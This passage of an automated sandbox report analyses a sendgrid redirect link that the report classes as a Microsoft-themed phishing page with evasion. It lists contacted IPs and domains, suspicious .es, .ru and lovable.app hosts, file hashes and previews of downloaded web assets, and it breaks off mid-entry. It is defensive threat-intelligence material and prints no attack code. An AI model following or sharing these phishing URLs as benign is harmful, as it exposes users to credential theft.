                                                                                            8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                            104.16.80.73
                                                                                            static.cloudflareinsights.comUnited States
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            142.250.185.163
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            185.199.109.133
                                                                                            objects.githubusercontent.comNetherlands
                                                                                            54113FASTLYUSfalse
                                                                                            104.21.96.1
                                                                                            mw35.ntnjxtm.esUnited States
                                                                                            13335CLOUDFLARENETUStrue
                                                                                            35.190.80.1
                                                                                            a.nel.cloudflare.comUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            104.16.2.189
                                                                                            developers.cloudflare.comUnited States
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            142.250.186.138
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            142.250.186.35
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            142.250.184.195
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            104.17.24.14
                                                                                            cdnjs.cloudflare.comUnited States
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            1.1.1.1
                                                                                            unknownAustralia
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            185.158.133.1
                                                                                            clever-link-safeguard.lovable.appGermany
                                                                                            61317ASDETUKhttpwwwheficedcomGBfalse
                                                                                            20.190.160.4
                                                                                            unknownUnited States
                                                                                            8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                            104.21.32.1
                                                                                            unknownUnited States
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            13.33.187.120
                                                                                            d19d360lklgih4.cloudfront.netUnited States
                                                                                            16509AMAZON-02USfalse
                                                                                            142.250.185.234
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            140.82.121.4
                                                                                            github.comUnited States
                                                                                            36459GITHUBUSfalse
                                                                                            40.126.31.128
                                                                                            www.tm.a.prd.aadg.trafficmanager.netUnited States
                                                                                            8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                            142.250.185.138
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            104.21.51.122
                                                                                            t0b1.qakaco.ruUnited States
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            142.251.173.84
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            151.101.2.137
                                                                                            code.jquery.comUnited States
                                                                                            54113FASTLYUSfalse
                                                                                            142.250.185.170
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            13.107.253.72
                                                                                            s-part-0044.t-0009.fb-t-msedge.netUnited States
                                                                                            8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                            142.250.185.174
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            188.114.97.3
                                                                                            unknownEuropean Union
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            13.33.187.96
                                                                                            unknownUnited States
                                                                                            16509AMAZON-02USfalse
                                                                                            104.18.29.167
                                                                                            cdn.gpteng.coUnited States
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            172.67.70.233
                                                                                            unknownUnited States
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            188.114.96.3
                                                                                            kkmjqvsvvaa6ngoiljmdetqxm3ochus2brqkjpbbddbqyxpi4owk1k.idrisxw.esEuropean Union
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            167.89.123.53
                                                                                            u17065553.ct.sendgrid.netUnited States
                                                                                            11377SENDGRIDUSfalse
                                                                                            142.250.184.238
                                                                                            unknownUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            104.26.0.100
                                                                                            get.geojs.ioUnited States
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            IP
                                                                                            192.168.2.17
                                                                                            192.168.2.8
                                                                                            192.168.2.16
                                                                                            Joe Sandbox version:42.0.0 Malachite
                                                                                            Analysis ID:1642938
                                                                                            Start date and time:2025-03-19 12:38:56 +01:00
                                                                                            Joe Sandbox product:CloudBasic
                                                                                            Overall analysis duration:
                                                                                            Hypervisor based Inspection enabled:false
                                                                                            Report type:full
                                                                                            Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                                                                            Sample URL:https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1
                                                                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                            Number of analysed new started processes analysed:16
                                                                                            Number of new started drivers analysed:0
                                                                                            Number of existing processes analysed:0
                                                                                            Number of existing drivers analysed:0
                                                                                            Number of injected processes analysed:0
                                                                                            Technologies:
                                                                                            • EGA enabled
                                                                                            Analysis Mode:stream
                                                                                            Analysis stop reason:Timeout
                                                                                            Detection:MAL
                                                                                            Classification:mal100.phis.evad.win@25/56@56/266
                                                                                            • Exclude process from analysis (whitelisted): svchost.exe
                                                                                            • Excluded IPs from analysis (whitelisted): 142.250.184.238, 142.250.186.35, 142.250.185.174, 142.251.173.84, 142.250.186.142, 172.217.18.14, 142.250.185.138, 142.250.185.234, 142.250.74.202, 142.250.186.138, 142.250.186.74, 142.250.186.42, 216.58.212.170, 142.250.184.202, 216.58.206.42, 142.250.184.234, 142.250.186.106, 142.250.186.170, 142.250.185.202, 142.250.185.170, 142.250.181.234, 172.217.16.202, 216.58.212.142
                                                                                            • Excluded domains from analysis (whitelisted): fonts.googleapis.com, clients2.google.com, accounts.google.com, redirector.gvt1.com, content-autofill.googleapis.com, fonts.gstatic.com, clientservices.googleapis.com, clients.l.google.com
                                                                                            • Not all processes where analyzed, report is missing behavior information
                                                                                            • Report size getting too big, too many NtOpenFile calls found.
                                                                                            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                            • VT rate limit hit for: https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&amp;c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&amp;typo=1
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:RIFF (little-endian) data, Web/P image
                                                                                            Category:dropped
                                                                                            Size (bytes):9648
                                                                                            Entropy (8bit):7.9099172475143416
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:4946EB373B18D178C93D473489673BB6
                                                                                            SHA1:16477ACB73B63CA251D37401249E7E4515FEBD24
                                                                                            SHA-256:666BC574C9F3FB28A8AC626FA8105C187C2A313736494A06BD5A937473673C92
                                                                                            SHA-512:F684B90B748DC8399F76C5D8F94AF6C4E6869143F18D19CE435B25EAA14E9647B120467BDD0795895676DC0CCCDEABF82BEB2F46CE2C5BF4C58ED9C134F30C48
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:RIFF.%..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH......0....n.mu..G..t042.....@...`[...%...6....9AD.'@.,f.B...+..+..+..W&.p.....h.......f.-...+.....m...n....E....O].+R.&Q..#.X.ip4..p......\O...\/....9.5.a..DfZ,K....8.....Z..2..z......t.......|.I.(..6E.D.}.C..OQD$S}iZ...[D.......q`(...@../.NQ......+"b%.X.D".G.*...0G...".2........x.O......7......E..&....e.F..4...K>.M..Pd.B...@'o./te..[.f....4[..a..x...9#.@$.=...t..=..t_.W....[..f.|fv...N...c6..k4}.9.7.....f.F3.4[...a...;.m.@N.n.0.....n.G[c.H.}..t.{..;....G...2.::..].0....
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
                                                                                            Category:dropped
                                                                                            Size (bytes):1435
                                                                                            Entropy (8bit):7.8613342322590265
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:9F368BC4580FED907775F31C6B26D6CF
                                                                                            SHA1:E393A40B3E337F43057EEE3DE189F197AB056451
                                                                                            SHA-256:7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
                                                                                            SHA-512:0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.|..~.|{~...b{8...zv.....8|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g*.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dg*N.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f*;.....Zhrr.,.U....6.Y....+Zd.*R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (10017)
                                                                                            Category:downloaded
                                                                                            Size (bytes):10245
                                                                                            Entropy (8bit):5.437589264532084
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:6C20A2BE8BA900BC0A7118893A2B1072
                                                                                            SHA1:FF7766FDE1F33882C6E1C481CEED6F6588EA764C
                                                                                            SHA-256:B1C42ACD0288C435E95E00332476781532ED002CAC6F3DCEE9110CED30B31500
                                                                                            SHA-512:8F80AD8ADC44845D24E13D56738A2CA2A73EE6FCDC187542BA4AAEBBF8817935D053A2ACFB0D425B9CC0C582B5091E1C9FE16B90B3AA682187645067C267FC41
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250319%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250319T114009Z&X-Amz-Expires=300&X-Amz-Signature=1aa45c749e696b8fcfbc282bad56341c76fad38da3c21e47dab37539afc1c1dc&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream
                                                                                            Preview://.// randexp v0.4.3.// Create random strings that match a given regular expression..//.// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent).// MIT License.// http://github.com/fent/randexp.js/raw/master/LICENSE .//.!function(){var e="RandExp",t=function(){return function e(t,n,r){function o(s,i){if(!n[s]){if(!t[s]){var u="function"==typeof require&&require;if(!i&&u)return u(s,!0);if(a)return a(s,!0);var p=new Error("Cannot find module '"+s+"'");throw p.code="MODULE_NOT_FOUND",p}var h=n[s]={exports:{}};t[s][0].call(h.exports,function(e){var n=t[s][1][e];return o(n?n:e)},h,h.exports,e,t,n,r)}return n[s].exports}for(var a="function"==typeof require&&require,s=0;s<r.length;s++)o(r[s]);return o}({1:[function(e,t,n){function r(e){return e+(e>=97&&122>=e?-32:e>=65&&90>=e?32:0)}function o(){return!this.randInt(0,1)}function a(e){return e instanceof h?e.index(this.randInt(0,e.length-1)):e[this.randInt(0,e.length-1)]}function s(e){if(e.type===p.types.CHAR)return new h(e.value);if(e.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:SVG Scalable Vector Graphics image
                                                                                            Category:dropped
                                                                                            Size (bytes):7390
                                                                                            Entropy (8bit):4.02755241095864
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:B59C16CA9BF156438A8A96D45E33DB64
                                                                                            SHA1:4E51B7D3477414B220F688ADABD76D3AE6472EE3
                                                                                            SHA-256:A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
                                                                                            SHA-512:2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            Preview:<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                            Category:downloaded
                                                                                            Size (bytes):1150
                                                                                            Entropy (8bit):2.0867314065904123
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:AD1A6F4C5183484AEA75BD061D11FC25
                                                                                            SHA1:094E96E2516AFE3E3BC38ED14C60ED400E9CC2E0
                                                                                            SHA-256:9F081D20C7C14CD4D08271B728D7C62B997D894150915760C222F01285F923BA
                                                                                            SHA-512:D618CEF1FC573100BECED5A37975E1771A12C2F31FB1E577E2A292D506ACF7419C990FE54133F50B42B4BA9266EE8D81A16AC6200EC815E1BE2176E922267851
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://clever-link-safeguard.lovable.app/favicon.ico
                                                                                            Preview:............ .h.......(....... ..... ............................L...........................................................L............................................................................................,,,.000.....................................................PPP.........PPP.............................................lll.................```.....................................lll.........................ddd.............................PPP.................................LLL.....................(((.........................................,,,................................................................................................................................................................................................................................................................................. .................lll.hhh................. .........................DDD.LLL.................PPP.@@@...........................................................
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 31140
                                                                                            Category:downloaded
                                                                                            Size (bytes):10808
                                                                                            Entropy (8bit):7.975248180400043
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:E0A459F59D761865E79557181761786D
                                                                                            SHA1:B36FAEC5EDFF90478B5AB0473046FF4E3065F3AC
                                                                                            SHA-256:8EBE2D2D5B508F67F1487BB8531709771A615BF0F59C2E1C7AE0BADEC74AB91F
                                                                                            SHA-512:7DB85A156DE57D8DC8639A1E5126663BB17576372572123A8B7802E06B87FDE100D22BBC0EDDACED8900DD8C35841CDCBFCFF181D48D5DE92BA4DBBB039DE186
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.error.strings-en.min_vdk0yeud2apnqxs0idvaca2.js
                                                                                            Preview:...........}.r.8..h8...i../..t.\.,.%..;jz.....S...ri<.1.../.{.K6/..R....[...H$.Df"3....L.E...8~V..(9~..G.....H$i.T..T|.Q....D...E.gYf=.1=.JL?t\.Z..}y#..l.p|..S.L...cx.f.?U./.M.~.....0..E;....a..Q.....|.fh....Q..F..........f....M....(.."^..z.y./L.;t?:..(L.}1.V......mc.F...I.I....O$*..'..$.\............Q.|3.0M$....$..y.E..?.s..|..#..............oa.U6N.?..[yr.J.@........<...E.IDq%q.E..^.$.$.......,...ie..'..h....*....PY......D./.....+1...i.a......:.n(.....\.>.I`<<||.&.........TBz.`..(.s......C.V"...k...V.S...o.'~...].L.4.@@...o^.....Ml:..H.............F......B`.u..K.*.L..f..I......J.{6{(J.E....\D..s.Q...p..C.$....hM.?...K..06.(Sy.q-.E.Qa.....0..G.....\..$.....v...>.(.... .%.c.....'.D....9.....`a..U.Q..it...Q..+..].{....P$@... .b..$.Yh.r... 1Q...IB..."....=9.O..'*A.....#.".B...F>4q7...A...@...->...j.@.dz0Q.V......t.......5.d....*$).^.f#..).."S..>..@Q........<.d..Q.......Y..%...AV@0..{Z.I.JY .N..........6~..T..c......../..TPg...@.CZe`<..7..JXO+.%.P...:
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):16
                                                                                            Entropy (8bit):3.875
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D2D53FA462C0BAECF299727EBB244751
                                                                                            SHA1:6EC0B3DD1D25F41CE2DBCCFFD223F7BA7C931357
                                                                                            SHA-256:E1C06F97FD2A1180AFDCA3B43AF1C7978E513B63050B9BB9B76D8F8BCA16CD5E
                                                                                            SHA-512:DC6794B2372610A1F702E1792625037FD4A0A19FE909695091C2A5FDB6DCDAC44997F04F2C9130C1487FB526743A9C1218B956C4AD253EBD3AC63C9D74ABE32F
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCc-Swu33DZ-vEgUNOZzRFiEuRo842QqkjA==?alt=proto
                                                                                            Preview:CgkKBw05nNEWGgA=
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:SVG Scalable Vector Graphics image
                                                                                            Category:downloaded
                                                                                            Size (bytes):1864
                                                                                            Entropy (8bit):5.222032823730197
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:BC3D32A696895F78C19DF6C717586A5D
                                                                                            SHA1:9191CB156A30A3ED79C44C0A16C95159E8FF689D
                                                                                            SHA-256:0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
                                                                                            SHA-512:8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/kl8mPQzpGbirEdcRLxLz8tFXgV0Kw23q1dklQk4ciJSFysrOz8mW9ApmABxaHS2wx220
                                                                                            Preview:<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:SVG Scalable Vector Graphics image
                                                                                            Category:downloaded
                                                                                            Size (bytes):2905
                                                                                            Entropy (8bit):3.962263100945339
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:FE87496CC7A44412F7893A72099C120A
                                                                                            SHA1:A0C1458C08A815DF63D3CB0406D60BE6607CA699
                                                                                            SHA-256:55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
                                                                                            SHA-512:E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/wxWhSTMOG655aLMky6GgLcGnDrszEdij9IMDemh0xApGn4Lk9up110590171
                                                                                            Preview:<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
                                                                                            Category:downloaded
                                                                                            Size (bytes):43596
                                                                                            Entropy (8bit):7.9952701440723475
                                                                                            Encrypted:true
                                                                                            SSDEEP:
                                                                                            MD5:2A05E9E5572ABC320B2B7EA38A70DCC1
                                                                                            SHA1:D5FA2A856D5632C2469E42436159375117EF3C35
                                                                                            SHA-256:3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
                                                                                            SHA-512:785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://mw35.ntnjxtm.es/GDSherpa-vf.woff2
                                                                                            Preview:wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3*#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P*..j..)..'.L......b..RQjI*I..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P.....*.
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:ASCII text, with very long lines (37527)
                                                                                            Category:downloaded
                                                                                            Size (bytes):314452
                                                                                            Entropy (8bit):5.377953673526691
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:DFDB8AB58954AAB1B7DFA136EDC07753
                                                                                            SHA1:92180A93B6BAEC202491D466FC4FB32B0A5CFEF1
                                                                                            SHA-256:3193C62A35A09401AF24BE9613A79FC94B148316E5E8B424ADCEEB515C2396F5
                                                                                            SHA-512:D5E69E627AD05D5E74C4E4E226AAA4B8572F97439162E0FE245EDD7F7BE6602E6C4FABC06FA9D7D0849D96983DB0808307BFB0A70390A7EEE8E567E4292E0A65
                                                                                            Malicious:false
                                                                                            Reputation:unknown
                                                                                            URL:https://clever-link-safeguard.lovable.app/assets/index-B7e2QGH1.js
                                                                                            Preview:var ac=e=>{throw TypeError(e)};var tl=(e,t,n)=>t.has(e)||ac("Cannot "+n);var N=(e,t,n)=>(tl(e,t,"read from private field"),n?n.call(e):t.get(e)),q=(e,t,n)=>t.has(e)?ac("Cannot add the same private member more than once"):t instanceof WeakSet?t.add(e):t.set(e,n),W=(e,t,n,r)=>(tl(e,t,"write to private field"),r?r.call(e,n):t.set(e,n),n),ke=(e,t,n)=>(tl(e,t,"access private method"),n);var ii=(e,t,n,r)=>({set _(o){W(e,t,o,n)},get _(){return N(e,t,r)}});function mv(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=Object.getOwnPropertyDescriptor(r,o);i&&Object.defineProperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const o of document.querySelectorAll('link[rel="modulepreload"]'))r(o);new MutationObser
                                                                                            Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            File Type:HTML document, ASCII text, with very long lines (17077), with CRLF line terminators
                                                                                            Category:downloaded
                                                                                            Size (bytes):22104
                                                                                            Entropy (8bit):5.901737802540371
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:5964A5A5A35AE5598A539DE1175DAD82
